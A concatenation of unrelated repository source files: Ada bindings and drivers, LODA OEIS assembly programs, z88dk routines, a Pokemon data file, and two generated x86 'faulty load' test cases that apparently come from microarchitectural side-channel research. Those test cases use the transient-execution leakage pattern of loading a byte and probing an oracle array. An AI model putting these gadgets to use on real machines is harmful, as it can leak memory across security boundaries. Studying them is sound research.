Link_Name => "g_hash_table_insert"; -- ------------------------------ -- Insert into the map the attribute with the given name and value. -- ------------------------------ procedure Insert (Into : in out Map; Name : in String; Value : in String) is begin if Into.Opaque = System.Null_Address then Into.Opaque := Hash_Table_New_Full (Str_Hash'Access, Str_Compare'Access, Str_Free'Access, Str_Free'Access); end if; Hash_Table_Insert (Into.Opaque, New_String (Name), New_String (Value)); end Insert; overriding procedure Adjust (Object : in out Map) is begin if Object.Opaque /= System.Null_Address then Object.Opaque := Hash_Table_Ref (Object.Opaque); end if; end Adjust; overriding procedure Finalize (Object : in out Map) is begin if Object.Opaque /= System.Null_Address then Hash_Table_Unref (Object.Opaque); end if; end Finalize; end Secret.Attributes;
oeis/153/A153143.asm
neoneye/loda-programs
11
161479
<gh_stars>10-100 ; A153143: Nonnegative numbers n such that 2n + 19 is prime. ; Submitted by <NAME> ; 0,2,5,6,9,11,12,14,17,20,21,24,26,27,30,32,35,39,41,42,44,45,47,54,56,59,60,65,66,69,72,74,77,80,81,86,87,89,90,96,102,104,105,107,110,111,116,119,122,125,126,129,131,132,137,144,146,147,149,156,159,164,165,167,170,174,177,180,182,185,189,191,195,200,201,206,207,210,212,215,219,221,222,224,230,234,236,240,242,245,251,252,261,264,269,272,275,276,279,284 add $0,4 mov $2,$0 pow $2,2 mov $4,10 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,1 cmp $1,$0 mul $2,$1 sub $2,1 add $4,2 lpe mov $0,$4 sub $0,18 div $0,2
drivers/drivers-text_io.adb
ekoeppen/MSP430_Generic_Ada_Drivers
0
5959
with Interfaces; use Interfaces; package body Drivers.Text_IO is procedure Put (C : Character) is begin USART.Transmit (Character'Pos (C)); end Put; procedure Put (S : String) is begin for C of S loop Put (C); end loop; end Put; procedure Put_Line (S : String) is begin Put (S); New_Line; end Put_Line; procedure New_Line is begin USART.Transmit (10); end New_Line; procedure Put_Integer (N : Integer; Width : Natural := 0) is Buffer : array (Unsigned_8 range 0 .. 15) of Character; I : Unsigned_8 := Buffer'Last; V : Integer := N; begin if N /= 0 then if V < 0 then Put ('-'); V := -V; end if; while V > 0 loop Buffer (I) := Character'Val (Unsigned_8 (V mod 10) + Character'Pos ('0')); V := V / 10; I := I - 1; end loop; for J in Unsigned_8 range I + 1 .. 15 loop USART.Transmit (Character'Pos (Buffer (J))); end loop; else Put ('0'); end if; end Put_Integer; procedure Put_Hex (N : Unsigned_32; Width : Natural := 0) is Buffer : array (Unsigned_8 range 0 .. 15) of Character; I : Unsigned_8 := 15; Nibble : Unsigned_8; V : Unsigned_32 := N; begin while V > 0 or else I = 15 loop Nibble := Unsigned_8 (V mod 16); if Nibble < 10 then Nibble := Nibble + Character'Pos ('0'); else Nibble := Nibble - 10 + Character'Pos ('a'); end if; Buffer (I) := Character'Val (Nibble); V := V / 16; I := I - 1; end loop; for J in Unsigned_8 range I + 1 .. 15 loop USART.Transmit (Character'Pos (Buffer (J))); end loop; end Put_Hex; procedure Get_Line (S : out String; Count : out Natural) is C : Character; begin Count := 0; for I in S'range loop C := Character'Val (USART.Receive); exit when C = Character'Val (10); S (I) := C; Count := Count + 1; end loop; end Get_Line; end Drivers.Text_IO;
libsrc/games/vg5k/bit_open.asm
meesokim/z88dk
0
169453
; $Id: bit_open.asm,v 1.2 2015/01/19 01:32:45 pauloscustodio Exp $ ; ; VG-5000 1 bit sound functions ; ; void bit_open(); ; ; <NAME> - 2014 ; INCLUDE "games/games.inc" PUBLIC bit_open EXTERN snd_tick .bit_open ld a,8 ld (snd_tick),a ret
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_fsub.asm
dikdom/z88dk
1
13007
; float __fsub (float left, float right) SECTION code_clib SECTION code_fp_am9511 PUBLIC cam32_sccz80_fsub EXTERN asm_switch_arg, asm_sccz80_readl EXTERN asm_am9511_fsub ; subtract sccz80 float from sccz80 float ; ; enter : stack = sccz80_float left, sccz80_float right, ret ; ; exit : DEHL = sccz80_float(left-right) ; ; uses : af, bc, de, hl, af', bc', de', hl' .cam32_sccz80_fsub call asm_switch_arg call asm_sccz80_readl jp asm_am9511_fsub ; enter stack = sccz80_float right, sccz80_float left, ret ; DEHL = sccz80_float right ; return DEHL = sccz80_float
data/pokemon/dex_entries/electrode.asm
AtmaBuster/pokeplat-gen2
6
21598
<filename>data/pokemon/dex_entries/electrode.asm db "BALL@" ; species name db "The more energy it" next "charges up, the" next "faster it gets." page "But this also" next "makes it more" next "likely to explode.@"
programs/oeis/131/A131209.asm
karttu/loda
0
15249
; A131209: Maximal distance between two signed permutations of n elements. ; 0,1,3,3,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69 mov $1,$0 lpb $0,1 gcd $0,3 add $1,1 lpe
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_960.asm
ljhsiun2/medusa
9
2992
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x6260, %rsi lea addresses_A_ht+0x15d30, %rdi nop nop nop sub %rbx, %rbx mov $0, %rcx rep movsw nop cmp $54288, %rbx lea addresses_D_ht+0x1c9b0, %r8 nop nop and %rbp, %rbp movb (%r8), %r13b nop nop nop xor $511, %rcx lea addresses_WT_ht+0x13030, %rcx nop nop nop nop nop xor $62265, %r13 movw $0x6162, (%rcx) xor $16724, %r13 lea addresses_D_ht+0x12c30, %rcx nop cmp $62551, %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm5 vmovups %ymm5, (%rcx) nop nop nop add $6049, %rsi lea addresses_D_ht+0x9d30, %rbx nop nop inc %rbp mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rbx) nop nop and %rsi, %rsi lea addresses_A_ht+0x14e10, %rbx nop xor $32336, %rsi mov $0x6162636465666768, %rbp movq %rbp, %xmm7 movups %xmm7, (%rbx) and %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rbp push %rbx push %rdx push %rsi // Store mov $0x3930a40000000e30, %r14 nop and %rsi, %rsi movb $0x51, (%r14) nop sub %rbp, %rbp // Store lea addresses_normal+0x6b04, %r14 nop nop nop nop nop xor %rbp, %rbp movb $0x51, (%r14) and $23464, %rsi // Store lea addresses_RW+0x1bcf0, %r13 nop nop nop sub $2725, %r10 movb $0x51, (%r13) dec %rdx // Store lea addresses_US+0x10558, %rbx nop nop and $21483, %rsi mov $0x5152535455565758, %r14 movq %r14, (%rbx) nop nop inc %r14 // Faulty Load mov $0x3020f40000000830, %r13 nop nop nop nop nop sub %rbp, %rbp mov (%r13), %si lea oracles, %rbp and $0xff, %rsi shlq $12, %rsi mov (%rbp,%rsi,1), %rsi pop %rsi pop %rdx pop %rbx pop %rbp pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_RW', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_US', 'AVXalign': True, 'size': 8}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
programs/oeis/008/A008822.asm
neoneye/loda
22
243191
; A008822: Expansion of (1 + 2*x^2 + x^3)/((1 - x)^2*(1 - x^3)). ; 1,2,5,10,15,22,31,40,51,64,77,92,109,126,145,166,187,210,235,260,287,316,345,376,409,442,477,514,551,590,631,672,715,760,805,852,901,950,1001,1054,1107,1162,1219,1276,1335,1396,1457,1520,1585,1650,1717,1786,1855,1926,1999,2072,2147,2224,2301,2380,2461,2542,2625,2710,2795,2882,2971,3060,3151,3244,3337,3432,3529,3626,3725,3826,3927,4030,4135,4240,4347,4456,4565,4676,4789,4902,5017,5134,5251,5370,5491,5612,5735,5860,5985,6112,6241,6370,6501,6634 add $0,1 mul $0,2 bin $0,2 add $0,2 div $0,3
orka/src/gl/interface/gl-debug-logs.ads
onox/orka
52
14037
<gh_stars>10-100 -- SPDX-License-Identifier: Apache-2.0 -- -- Copyright (c) 2017 onox <<EMAIL>> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. with Ada.Containers.Indefinite_Holders; package GL.Debug.Logs is pragma Preelaborate; package String_Holder is new Ada.Containers.Indefinite_Holders (Element_Type => String); type Message is record From : Source; Kind : Message_Type; Level : Severity; ID : UInt; Message : String_Holder.Holder; end record; type Message_Array is array (Size range <>) of Message; function Message_Log return Message_Array; -- Return an array containing the debug messages that are in the log -- -- After having called this function, the messages that were returned -- in the array are removed from the log. function Logged_Messages return Size; end GL.Debug.Logs;
oeis/342/A342977.asm
neoneye/loda-programs
11
172351
; A342977: Decimal expansion of (Pi - 2) / 4. ; Submitted by <NAME> ; 2,8,5,3,9,8,1,6,3,3,9,7,4,4,8,3,0,9,6,1,5,6,6,0,8,4,5,8,1,9,8,7,5,7,2,1,0,4,9,2,9,2,3,4,9,8,4,3,7,7,6,4,5,5,2,4,3,7,3,6,1,4,8,0,7,6,9,5,4,1,0,1,5,7,1,5,5,2,2,4,9,6,5,7,0,0,8,7,0,6,3,3,5,5,2,9,2 mov $1,2 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 mov $4,$0 cmp $4,0 mov $5,$0 add $5,$4 div $1,$5 div $2,$5 sub $3,1 lpe mul $1,5 mov $6,10 pow $6,$0 mov $4,$6 cmp $4,1 add $6,$4 div $2,$6 mov $4,$2 cmp $4,0 add $2,$4 div $1,$2 add $1,$6 mov $0,$1 mod $0,10
Cats/Util/SetoidReasoning.agda
JLimperg/cats
24
3115
{-# OPTIONS --without-K --safe #-} module Cats.Util.SetoidReasoning where open import Relation.Binary.Reasoning.MultiSetoid public open import Relation.Binary using (Setoid) module _ {c ℓ} (S : Setoid c ℓ) where open Setoid S triangle : ∀ m {x y} → x ≈ m → y ≈ m → x ≈ y triangle m x≈m y≈m = trans x≈m (sym y≈m)
1-base/math/source/generic/pure/geometry/any_math-any_geometry-any_d2.ads
charlie5/lace
20
27984
with any_Math.any_Algebra.any_linear; generic with package linear_Algebra_2D is new any_Math.any_Algebra.any_linear; package any_Math.any_Geometry.any_d2 -- -- Provides a namespace and core types for 2D geometry. -- is pragma Pure; --------- -- Sites -- -- Cartesian -- subtype Site is Vector_2; -- 2D cartesian coordinates. type Sites is array (Positive range <>) of Site; function Distance (From, To : Site) return Real; -- Polar -- type polar_Site is -- 2D polar coordinates. record Angle : Radians; Extent : Real; end record; function to_Polar (Self : in Site) return polar_Site; function to_Site (Self : in polar_Site) return Site; function Angle (Self : in Site) return Radians; function Extent (Self : in Site) return Real; --------- -- Lines -- type Line is private; function to_Line (Anchor : in Site; Angle : in Radians) return Line; function to_Line (Site_1, Site_2 : in Site) return Line; function X_of (Self : in Line; Y : in Real) return Real; function Y_of (Self : in Line; X : in Real) return Real; function Gradient (Self : in Line) return Real; ---------- -- Bounds -- type bounding_Box is record Lower, Upper : Site; end record; null_Bounds : constant bounding_Box; function to_bounding_Box (Self : Sites) return bounding_Box; function "or" (Left : in bounding_Box; Right : in Site) return bounding_Box; -- -- Returns the bounds expanded to include the vector. function "or" (Left : in bounding_Box; Right : in bounding_Box) return bounding_Box; -- -- Returns the bounds expanded to include both Left and Right. function "+" (Left : in bounding_Box; Right : in Vector_2) return bounding_Box; -- -- Returns the bounds translated by the vector. function Extent (Self : in bounding_Box; Dimension : in Index) return Real; function Image (Self : in bounding_Box) return String; ---------- -- Circles -- type Circle is record Radius : Real; end record; function Area (Self : Circle) return Real; function Perimeter (Self : Circle) return Real; ----------- -- Polygons -- type Polygon (Vertex_Count : Positive) is record Vertices : Sites (1 .. Vertex_Count); end record; function Area (Self : in Polygon) return Real; -- Polygon must be convex. function Perimeter (Self : in Polygon) return Real; function Angle (Self : in Polygon; at_Vertex : in Positive) return Radians; function is_Triangle (Self : in Polygon) return Boolean; function is_Convex (Self : in Polygon) return Boolean; function is_Clockwise (Self : in Polygon) return Boolean; function Centroid (Self : in Polygon) return Site; procedure center (Self : in out Polygon); function prior_Vertex (Self : in Polygon; to_Vertex : in Positive) return Site; function next_Vertex (Self : in Polygon; to_Vertex : in Positive) return Site; function Image (Self : in Polygon) return String; ------------ -- Triangles -- type Triangle is record Vertices : Sites (1 .. 3); end record; function Area (Self : in Triangle) return Real; function Perimeter (Self : in Triangle) return Real; function Angle (Self : in Triangle; at_Vertex : in Positive) return Radians; function prior_Vertex (Self : in Triangle; to_Vertex : in Positive) return Site; function next_Vertex (Self : in Triangle; to_Vertex : in Positive) return Site; Degenerate, Colinear : exception; private type Line_Format is (anchored_Gradient, two_Points); type Line (Kind : Line_Format := Line_Format'First) is record case Kind is when anchored_Gradient => Anchor : Site; Gradient : Real; when two_Points => Sites : any_d2.Sites (1 .. 2); end case; end record; null_Bounds : constant bounding_Box := (lower => (Real'Last, Real'Last), upper => (Real'First, Real'First)); end any_Math.any_Geometry.any_d2;
templates/file-x86_64.asm
RV8V/asm-code
1
179381
%include "linux64.inc" section .data filename db "file.txt", 0 data db "hello world", 0 section .text global _start _start: mov rax, SYS_OPEN mov rdi, filename mov rsi, O_CREATE+O_WRONGLY mov rdi, 0644o syscall push rax mov rdi, rax mov rax, SYS_WRITE mov rsi, data mov rdx, 17 syscall mov rax, SYS_CLOSE pop rdi syscall exit
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48_notsx.log_21829_1566.asm
ljhsiun2/medusa
9
14467
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rbp push %rbx push %rdx lea addresses_WC_ht+0x12840, %r10 nop nop nop nop sub %rdx, %rdx mov (%r10), %rbp and %rbx, %rbx lea addresses_WC_ht+0xfe0, %r10 nop and $13888, %r12 movl $0x61626364, (%r10) nop dec %rbx pop %rdx pop %rbx pop %rbp pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rbx push %rcx push %rsi // Store lea addresses_UC+0x181e0, %rcx nop nop nop nop sub %rsi, %rsi movl $0x51525354, (%rcx) nop nop nop nop nop cmp $50201, %r9 // Load lea addresses_WC+0x6a80, %rbx inc %r13 movb (%rbx), %r14b mfence // Store lea addresses_UC+0x1b008, %r13 nop add $32521, %r14 movw $0x5152, (%r13) nop nop cmp %rbx, %rbx // Faulty Load lea addresses_A+0x1e5e0, %r14 clflush (%r14) nop nop nop cmp %rsi, %rsi mov (%r14), %r9d lea oracles, %r13 and $0xff, %r9 shlq $12, %r9 mov (%r13,%r9,1), %r9 pop %rsi pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC', 'congruent': 5}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 4}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 7}, 'OP': 'STOR'} {'35': 21828, '00': 1} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
1.ToyRISC programs/descending.asm
atpk/ToyRISC
0
170346
.data a: 70 80 40 20 10 30 50 60 n: 8 .text main: load %x0, $n, %x3 add %x0, %x0, %x4 add %x0, %x0, %x5 subi %x3, 1, %x10 jmp loop loop1: addi %x4, 1, %x4 add %x0, %x0, %x5 jmp loop loop2: addi %x5, 1, %x5 beq %x5, %x10, loop1 jmp loop loop: beq %x4, %x3, final beq %x5, %x10, loop1 addi %x5, 1, %x6 load %x5, $a, %x8 load %x6, $a, %x7 bgt %x7, %x8, swap jmp loop2 swap: add %x8, %x0, %x9 add %x7, %x0, %x8 add %x9, %x0, %x7 store %x8, $a, %x5 store %x7, $a, %x6 jmp loop2 final: end
src/task/tss.asm
NotYourFox/MystOS
4
247379
<reponame>NotYourFox/MystOS section .asm global tss_load extern log tss_load: push ebp mov ebp, esp mov ax, [ebp+8] ltr ax pop ebp ret
programs/oeis/144/A144916.asm
neoneye/loda
22
89754
; A144916: Integers k for which |A144912| attains a new maximal odd value. ; 4,7,16,36,64,100,144,196,256,324,400,484,576,676,784,900,1024,1156,1296,1444,1600,1764,1936,2116,2304,2500,2704,2916,3136,3364,3600,3844,4096,4356,4624,4900,5184,5476,5776,6084,6400,6724,7056,7396,7744,8100 mov $4,$0 pow $0,2 mov $1,4 trn $1,$0 mov $3,$4 mul $3,$4 mov $2,$3 mul $2,4 add $1,$2 mov $0,$1
llvm-gcc-4.2-2.9/gcc/ada/vms_conv.ads
vidkidz/crossbridge
1
5106
<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- V M S _ C O N V -- -- -- -- S p e c -- -- -- -- Copyright (C) 2003-2005, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package is part of the GNAT driver. It contains the procedure -- VMS_Conversion to convert a VMS command line to the equivalent command -- line with switches for the GNAT tools that the GNAT driver will invoke. -- The qualifier declarations are contained in package VMS_Data. with Table; with VMS_Data; use VMS_Data; with GNAT.OS_Lib; use GNAT.OS_Lib; package VMS_Conv is -- A table to keep the switches on the command line package Last_Switches is new Table.Table (Table_Component_Type => String_Access, Table_Index_Type => Integer, Table_Low_Bound => 1, Table_Initial => 20, Table_Increment => 100, Table_Name => "Gnatcmd.Last_Switches"); Normal_Exit : exception; -- Raise this exception for normal program termination Error_Exit : exception; -- Raise this exception if error detected Errors : Natural := 0; -- Count errors detected Display_Command : Boolean := False; -- Set true if /? switch causes display of generated command (on VMS) ------------------- -- Command Table -- ------------------- -- The command table contains an entry for each command recognized by -- GNATCmd. The entries are represented by an array of records. type Parameter_Type is -- A parameter is defined as a whitespace bounded string, not begining -- with a slash. (But see note under FILES_OR_WILDCARD). (File, -- A required file or directory parameter Optional_File, -- An optional file or directory parameter Other_As_Is, -- A parameter that's passed through as is (not canonicalized) Unlimited_Files, -- An unlimited number of whitespace separate file or directory -- parameters including wildcard specifications. Unlimited_As_Is, -- Un unlimited number of whitespace separated paameters that are -- passed through as is (not canonicalized). Files_Or_Wildcard); -- A comma separated list of files and/or wildcard file specifications. -- A comma preceded by or followed by whitespace is considered as a -- single comma character w/o whitespace. type Parameter_Array is array (Natural range <>) of Parameter_Type; type Parameter_Ref is access all 